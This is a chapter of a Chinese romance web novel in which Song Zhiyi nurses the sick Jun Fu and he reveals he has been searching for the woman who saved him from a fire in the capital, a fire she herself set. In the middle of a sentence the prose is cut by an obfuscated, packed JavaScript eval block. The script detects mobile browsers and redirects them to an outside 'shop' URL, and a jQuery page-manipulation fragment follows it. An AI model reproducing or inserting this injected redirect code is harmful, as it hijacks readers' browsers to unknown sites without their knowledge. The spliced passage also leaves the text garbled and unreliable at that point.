她从午后一直坐到天黑,期间换了五六次帕子。君复的烧没有退,但也没有再升高。他始终没有醒,呼吸比白天平稳了一些,偶尔眉头皱一下,像是在跟什么搏斗。
夜深了,观棋没有回来。宋知宜起身点了灯,将窗户关好,又坐回床边。她靠在椅背上,手里捏着一条湿帕子,望着窗外沉沉的夜色。
她在想,她为什么要来。她明明在躲他,明明不想跟他有任何牵扯,明明知道他是京城来的人,身上有着她不知道的底细,可她还是来了。
君复忽然动了一下,嘴唇翕动,像是在说什么。宋知宜俯下身去听,听见他含糊不清地说了一个字:“别……”
后面的话听不清了。她又凑近了些,闻到他身上淡淡的药香,和一种属于病人的、微苦的气息。她直起身,重新将帕子敷在他额头上,坐回去,什么都没有说。
这一夜,她没有合眼。
天亮的时候,君复的烧终于退了一些。他的脸上有了一点血色,呼吸也平稳了许多,但仍然没有醒。
宋知宜去灶房烧了一壶水,又煮了一锅粥。粥煮好了,她盛了一碗,放在灶台上温着,自己喝了一碗。她回到卧房,摸了摸他的额头,又摸了摸自己的,确认温度确实降了,才坐下来。
她不会看病,但烧退总是好事。她靠在椅背上,闭上眼,打算歇一会儿。
不知过了多久,她听见一个极轻的声音:“宋姑娘。”
她睁开眼。君复醒了,正侧着头看她,目光还带着几分迷糊,像是不确定自己是不是在做梦。
宋知宜没有说话,伸手摸了摸他的额头。烧退了。
“观棋呢?”他问,声音哑得几乎听不见。
“去找大夫了。”宋知宜起身,去灶房端了粥过来,舀了一勺,吹了吹,递到他嘴边,“你先吃点东西。”
君复看着那勺粥,又看着她,慢慢张开嘴,吃了。
他吃得很慢,一碗粥吃了小半个时辰。宋知宜一勺一勺地喂,不急不躁,喂完了,将碗放在桌上,又用帕子替他擦了嘴角。
君复看着她做完这一切,忽然开口:“你在这里守了一夜?”
宋知宜没有回答,只是将帕子叠好,放在床头。
“观棋求我的。”她说。
君复沉默了片刻。“你可以不答应。”
宋知宜垂下眼,看着自己的手。她的手指上还沾着粥渍,其实还沾过很多鲜血。
“我是不想答应的。”她说,声音很轻,“但你的侍从说得你好像快死了。”
君复愣了一下,随即弯了弯唇角,像是想笑,又没有力气。“所以你可怜我?”
宋知宜抬起眼,看着他。他的脸上还有病后的苍白,眼睛里却有一点微弱的光,像快要熄灭的烛火被人用手护住了。
“不是可怜。”她说。
君复等着她往下说,她没有再说。
她起身去倒热水,水声哗哗的,隔着墙传过来,和窗外的鸟叫声混在一起。君复躺在床上,望着头顶的房梁,慢慢闭上了眼睛。
她在这里。她还在这里。这就够了。
观棋走后,宋知宜在君复床边守了整整一天一夜。
第二天傍晚,君复的烧退了大半,人却还是昏昏沉沉的,偶尔清醒片刻,说一两句含糊的话,又沉沉睡去。宋知宜喂他喝了两次粥,换了无数次帕子,又把灶房里的药罐翻出来,照着常见退烧的方子煎了一碗药,她不会看病,但煎药还是会的。药煎好了,她尝了一口,苦得皱眉,想了想,从柜子里翻出一小罐蜂蜜,舀了一勺搅进去,才端过去喂他。
君复喝了药,又睡了过去。宋知宜坐在床边的椅子上,靠着椅背闭眼休息。她太累了,一夜没睡,白天也没合眼,此刻听着君复平稳的呼吸声,倦意像潮水一样涌上来,不知不觉就睡着了。
不知过了多久,她被一阵细微的声响惊醒。
睁开眼,君复正侧着头看她。暮色从窗户透进来,将整间屋子染成昏黄的色调。他的脸色还是白的,但眼神清明了些,正定定地望着她,目光里有一种说不清的东西。
“你还没走。”他说,声音还很哑,但比昨天清晰多了。
宋知宜直起身,理了理袖口。“观棋还没回来。”她伸手探了探他的额头,不烫了,“烧退了。”
君复没有接话,只是看着她。她被他看得有些不自在,站起身去倒水,端着碗回来的时候,他已经撑着坐了起来,靠在床头,披着一件外衫。
“你躺下。”宋知宜皱了皱眉。
“躺太久了。”君复接过水碗,喝了一口,将碗放在床头。他抬头看她,忽然说:“知宜,你是不是在躲我?”
宋知宜的手微微一顿。她没有回答,只是坐回椅子上,垂着眼,看着自己交叠在膝上的手。
“你躲了我好些日子了。”君复的声音很轻,像怕惊动什么,“我以为是因为赵家的事,你怕我。可你昨天来了,守了我一天一夜。你不怕我。”
宋知宜沉默着。
“是因为我是京城来的?”他问。
她抬起眼,看着他。他那双因为生病而显得格外清亮的眼睛,正平静地、坦诚地望着她。
屋子里安静了很久。窗外的天光一点一点暗下去,暮色从墙角漫上来,将两个人的影子拉得长长的。
“去年京城大火,你记不记得?”君复忽然问。
宋知宜的睫毛微微一颤。“记得。”
“我当时被困在一座宅子里,横梁砸下来,失去了意识。”君复的声音很轻,像在说一件很久远的事,“后来我醒了,发现自己躺在宅子外的一处角落,宅子周围全是救火的人。我什么都不记得了——那场火是怎么起的,我是怎么出来的,全都不记得。只记得有一个人,把我从火里扛了出来。她的耳后,有一颗朱砂痣。”
宋知宜下意识地抬手,摸了一下自己的左耳后。
那颗痣她从小就有,很小,像一滴血落在皮肤上,不仔细看根本看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500352|202697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不见。
君复的目光追着她的手指,落在那颗痣上。
“我找了一年。”他说,“一个人模糊的侧脸,耳后的朱砂痣,没有别的线索。我让人查遍了京城所有医馆的伤患记录,查不到。后来有人告诉我,在容城见过我描述的人,耳后有一颗朱砂痣。我来的时候,还不敢确定。但你第一次在巷口出现在我面前时,我脑中的脸一下子清晰了,我认出来了。”
宋知宜将手放下来,垂下眼。
“那颗痣很多人都有。”她说。
“是吗?”君复的声音很平静,“那你为什么躲我?”
“我在京城有很多仇敌。”她终于开口,声音不大,但每个字都清清楚楚,“我不知道你是谁,不知道你来容城做什么,不知道你接近我是有意还是无意。你的行事并不是普通人,我原本应该一开始就除掉你。”
去年京城那场大火,她确实在那里。她不是去救人的——那场火,与她有关。她为了脱身,在京城布了一个局,那场火是局中的一环,她不知道火里还困了谁。
那之后,她来到容城,以为过去的一切都随着那场火烧干净了。
“不是我。”她说,声音很平。
君复看着她,没有追问,只是轻轻“嗯”了一声。“你说不是你,那就不是你。”他的声音很温和,像是真的信了,“但我想谢谢你。”
宋知宜抬起眼。“谢什么?”
“谢你来容城。”君复说,“谢你在这里开了这间铺子。谢我找了一年,找到了你。”
宋知宜张了张嘴,想说什么,最终什么也没说。
她垂下眼,看着自己的手。她的手指上还沾着药渍,也沾过很多鲜血。她想说“那场火是我放的”,想说“我差点烧死你”,想说“你找错人了,我不是好人”。但她没有说。
她只是在心里,悄悄地松了一口气。他不是京城里的那些仇敌。他不是来追查她的。他只是来找一个救过他命的人。一个他以为的、善良的、在火里救人的陌生人。宋知宜不知道自己是该惭愧,还是该庆幸。
“你把病养好。”她站起来,将被子替他掖好,又把窗户关小了些,不让夜风灌进来。她的声音还是淡淡的,但比之前多了一点什么,“病好了,想谢谁就去谢谁。”
君复看着她的背影,嘴角微微弯了弯。“好。”
宋知宜走到门口,忽然停下来,没有回头。
“君复。”
“嗯。”
“那颗痣,我从小就有。”
她推开门,走进了暮色里。院门在她身后轻轻合上,她没有回头,但她走得很慢,像是怕踩碎什么。
君复躺在榻上,闭上眼,嘴角还留着那一点弧度。她说“我从小就有”。她没有说“不是我”。
这就够了。
窗外,暮色终于落尽了。巷子里的灯笼一盏一盏地亮起来,将青石板路照得亮堂堂的。院门扣的那盏灯笼,在风里轻轻晃着,像一颗终于落了地的心。